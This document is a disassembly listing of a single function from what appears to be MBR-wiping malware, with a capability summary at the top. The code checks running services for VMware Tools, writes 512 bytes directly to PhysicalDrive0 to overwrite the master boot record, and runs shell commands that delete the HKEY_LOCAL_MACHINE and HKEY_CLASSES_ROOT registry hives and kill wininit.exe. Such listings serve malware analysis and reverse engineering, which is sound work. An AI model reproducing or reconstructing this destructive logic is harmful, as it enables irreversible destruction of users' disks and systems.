Function at 0x401260
Capabilities:
Enumerate services
Execute command
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4029cb
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004011b0
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x254]
push eax
push 0x403250
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push 4
push 0
mov esi, eax
push 0
mov dword [ebp - 0x214], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x254], ebx
test ebx, ebx
jne 0x401305
push 0x401ae0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.OpenSCManager_Eorror_n
call fcn.00401010
add esp, 4
or eax, 0xffffffff
jmp 0x4013b6
push 0x10000
push 0x40
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x220]
push eax
push 0x10000
push edi
push 3
push 0x30
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
jne 0x40136e
push str.EnumServicesStatus_Eorror_n
call fcn.00401010
add esp, 4
or eax, 0xffffffff
jmp 0x4013b6
xor esi, esi
cmp dword [ebp - 0x218], esi
jbe 0x4013a7
mov ebx, dword [sym.imp.VCRUNTIME140.dll_strstr]
add edi, 4
push str.VMware_Tools
push dword [edi]
call ebx
add esp, 8
test eax, eax
jne 0x401460
inc esi
add edi, 0x24
cmp esi, dword [ebp - 0x218]
jb 0x401381
mov ebx, dword [ebp - 0x254]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov esi, dword [ebp - 0x214]
cmp dword [ebp - 0x258], 0
je 0x40164e
test esi, esi
jne 0x40164e
test eax, eax
je 0x40164e
push 4
push 0x40332c
push str._OY_f
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x401647
call fcn.004011b0
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.taskkill__f__im_MBR.exe
call edi
push 0x1f6
lea eax, [ebp - 0x206]
push esi
push eax
call sub.VCRUNTIME140.dll_memset
movq xmm0, qword [0x405060]
add esp, 0x10
mov ax, word [0x405068]
movq qword [ebp - 0x210], xmm0
mov word [ebp - 0x208], ax
push esi
push esi
push 3
push esi
push 3
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40146a
push 0x403240
call fcn.00401010
add esp, 4
jmp 0x4014be
mov eax, 1
jmp 0x4013b0
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea eax, [ebp - 0x214]
push 0
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call esi
push 0
lea eax, [ebp - 0x214]
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0
push 0
push 0x9001c
push ebx
call esi
push 0x47
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push str.__Success__n
lea ecx, [ebp - 0x238]
call fcn.004016e0
mov dword [ebp - 4], 0
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x228], esi
jbe 0x401531
mov edi, dword [ebp - 0x238]
nop dword [eax]
cmp dword [ebp - 0x224], 0xf
lea edx, [ebp - 0x238]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmova edx, edi
mov dl, byte [edx + esi]
call fcn.004018b0
push 1
call ebx
inc esi
cmp esi, dword [ebp - 0x228]
jb 0x401500
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push 4
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x403388
lea ecx, [ebp - 0x250]
call fcn.004016e0
mov byte [ebp - 4], 1
xor esi, esi
mov ebx, dword [ebp - 0x250]
cmp dword [ebp - 0x240], esi
jbe 0x4015a1
mov edi, dword [ebp - 0x23c]
nop dword [eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0x250]
cmp edi, 0xf
cmova edx, ebx
mov dl, byte [edx + esi]
call fcn.004018b0
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp - 0x240]
jb 0x401570
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.Start_reg_delete_HKCR_.exe_Start_reg_delete_HKCR_.dll_Start_reg_delete_HKCR_
call edi
push str.reg_delete_HKEY_LOCAL_MACHINE__f
call edi
push str.reg_delete_HKEY_CLASSES_ROOT__f
call edi
push str.timeout_60__nul
call edi
push str.taskkill__f__im_wininit.exe__t
call edi
mov eax, dword [ebp - 0x23c]
add esp, 0x14
cmp eax, 0xf
jbe 0x4015f9
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x4015ef
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401641
push ecx
push ebx
call fcn.00401b7c
add esp, 8
mov eax, dword [ebp - 0x224]
cmp eax, 0xf
jbe 0x40163d
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x238]
mov edx, eax
cmp ecx, 0x1000
jb 0x401633
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x258], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x401641
mov eax, dword [ebp - 0x258]
push ecx
push eax
call fcn.00401b7c
add esp, 8
xor eax, eax
jmp 0x401665
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, 1
jmp 0x401665
push 0
push 0x4032d8
push 0x4032e0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00401b3e
mov esp, ebp
pop ebp
ret